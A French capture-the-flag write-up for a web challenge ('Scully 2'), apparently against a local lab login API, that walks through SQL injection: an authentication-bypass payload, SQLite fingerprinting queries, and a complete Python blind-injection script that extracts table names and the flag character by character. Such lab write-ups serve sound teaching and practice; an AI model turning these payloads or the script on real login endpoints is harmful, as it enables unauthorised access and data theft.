Solution de matboivin pour Scully 2

web

13 mars 2024

Au vu du nom du challenge, on peut supposer qu’il s’agira d’une injection SQL.

1. Analyse

On commence par jeter un oeil à l’application disponible à http://localhost:8000. Il s’agit d’un portail de connexion qui requiert un nom d’utilisateur et un mot de passe.

Capture d’écran de la page d’accueil

Si on tente de se connecter avec n’importe quel identifiant, la page affiche le message “Login Failed” :

Capture d’écran d’une connexion infructueuse

En regardant la requête, on constate que les identifiants sont envoyés au format JSON :

POST /api/v1/login/ HTTP/1.1
Host: localhost:8000
Content-Length: 37
Content-Type: application/json

{
    "username": "user",
    "password": "pass"
}

La réponse obtenue est la suivante :

{
    "status": "fail"
}

On essaie d’injecter du SQL de la façon suivante :

{
    "username": "' OR username='admin'-- -",
    "password": "'"
}

L’application affiche désormais “Successful Login” au lieu de “Login Failed” :

Capture d’écran d’une connexion réussie

Et dans la réponse, la valeur de status est success.

{
    "status": "success"
}

2. Hypothèse

Réussir à se connecter ne suffit pas à résoudre le challenge. Par conséquent, on peut supposer que le flag est stocké en base de données.

Cependant, l’application ne retourne que peu d’informations : success ou fail. Il va falloir utiliser une technique d’injection SQL dite “à l’aveugle”. En effet, on ne peut pas lire la base de données. Il faut imaginer que l’on est face à quelqu’un ne pouvant répondre que “vrai” (success) ou “faux” (fail).

En premier lieu, on peut imaginer qu’on cherche à en apprendre plus sur la base de données afin d’en avoir un aperçu. Par exemple, quels sont les noms des tables ? On interrogerait la personne ne pouvant répondre que “vrai” ou “faux” ainsi : “Le premier caractère du nom de la première table est ‘a’”, “Le premier caractère est ‘b’”, et ainsi de suite jusqu’à obtenir un “vrai” et passer au caractère suivant.

Cette technique permet de récupérer des informations stockées en base de données en tirant parti d’une application ne retournant que deux valeurs différentes.

3. Implémentation

Lancer les requêtes une à une à la main étant trop fastidieux, on implémente un script Python pour résoudre le challenge.

Type de base de données

Avant toute chose, on souhaite déterminer la base de données utilisée en procédant par élimination.

Par chance, la requête suivante retourne fail, mettant donc de côté PostgreSQL et MySQL.

{
    "username": "' OR 1=(SELECT 1 FROM information_schema.tables)-- -",
    "password": "'"
}

La requête ci-dessous retourne success. La base de données est donc SQLite.

{
    "username": "' OR 1=(SELECT 1 FROM sqlite_master)-- -",
    "password": "'"
}

Le script

from sys import argv
from requests import Response, Session


BASE_URL: str = 'http://localhost:8000'
HEADERS: dict[str, str] = {
    'Host': 'localhost:8000',
    'Content-Type': 'application/json',
}
ORACLE: str = {"status": "success"}
MAX_LEN: int = 100

def sqli(session: Session, payload: str, pos: int, mid: int) -> None:
    response: Response = session.post(
        f"{BASE_URL}/api/v1/login",
        json={
            # La condition permettant de tester carctère par caractère est ci-dessous.
            "username": f"' OR 1=1 AND SUBSTRING(({payload}), {pos}, 1) > '{chr(mid)}'-- - ",
            "password": "'"
        }
    )

    return response.json() == ORACLE

# Les caractères sont cherchés par dichotomie pour plus de rapidité.
def search_char(session: Session, payload: str, pos: int) -> str:
    lower: int = 32
    higher: int = 126

    while lower <= higher:
        mid: int = lower + (higher - lower) // 2

        if sqli(session, payload, pos, mid):
            lower = mid + 1
        else:
            higher = mid - 1

    return chr(lower)


def main(payload: str) -> None:
    result: list[str] = []

    with Session() as session:
        for i in range(0, MAX_LEN):
            last_char: str = search_char(session, payload, i)
            result.append(last_char)

            if last_char == ' ' and i != 0:
                break

        print(''.join(result).strip())


if __name__ == "__main__":
    if len(argv) != 2:
        print("One argument is required: payload.")

    else:
        try:
            main(argv[1])

        except KeyboardInterrupt as err:
            print(err)

Prérequis :

Usage :

En partant du principe que le fichier du script se nomme main.py.

$ python3 main.py <payload>

Exemple :

Obtenir la version de la base de données :

$ python3 main.py "SELECT SQLITE_VERSION()"
3.40.1

4. Exploitation

Premièrement, on obtient le nom des tables :

$ python3 main.py "SELECT group_concat(name,'|') FROM sqlite_master WHERE type='table'"
players|sqlite_sequence|flag

Une des tables se nommant “flag”, on a envie de l’examiner en affichant le nom des colonnes.

$ python3 main.py "SELECT group_concat(name,'|') FROM pragma_table_info('flag')"
flag

La table ne contient qu’une colonne, nommée elle aussi “flag”. On affiche son contenu et on obtient le flag :

$ python3 main.py "SELECT flag FROM flag"
ECSC{REDACTED}